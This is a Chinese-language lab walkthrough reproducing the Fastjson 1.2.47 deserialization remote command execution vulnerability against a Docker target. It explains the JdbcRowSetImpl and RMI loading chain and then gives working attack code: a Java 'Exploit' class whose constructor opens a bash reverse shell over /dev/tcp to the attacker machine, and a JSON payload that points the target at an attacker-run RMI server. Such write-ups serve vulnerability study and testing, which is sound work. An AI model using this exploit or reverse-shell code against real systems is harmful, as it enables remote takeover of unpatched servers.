一、fastjson简介
fastjson是java的一个库,可以将java对象转化为json格式的字符串,也可以将json格式的字符串转化为java对象。
二、漏洞原理
攻击者访问存在fastjson漏洞的目标靶机,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetlmpl恶意信息发送给目标机。
存在漏洞的目标靶机对json反序列化的时候,会执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行命令。
rmi服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用代码编译得到.class文件,并上传至恶意站点),得到攻击者构造好的命令(创建文件、反弹shell等)
rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
靶机执行了恶意代码,被攻击者成功利用。
三、漏洞复现
目标靶机:Ubuntu ip:192.168.80.157
攻击机:kali ip:192.168.80.133
启动环境前要先进入到对应的目录下。如本次对Fastjson 1.2.47远程命令执行漏洞进行复习,先进入到其目录下。
启动环境:
docker-compose up -d
访问8090端口,当出现如下图所示,即环境搭建成功
提前使用javac编译java文件生成一个恶意类
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.80.133/6666 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
将恶意类放到kali端
开启web服务,让rmi服务器能访问到恶意类文件
访问6969端口,查看是否成功开启web服务
开启RMI服务,将恶意类放到服务器上
同时监听6666端口(在java中写入的是通过6666端口反弹shell)
使用burpsuite对192.168.80.157:8090抓包,构造payload并发送。
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.80.133:6869/#Exploit",
"autoCommit":true
}
}
反弹shell成功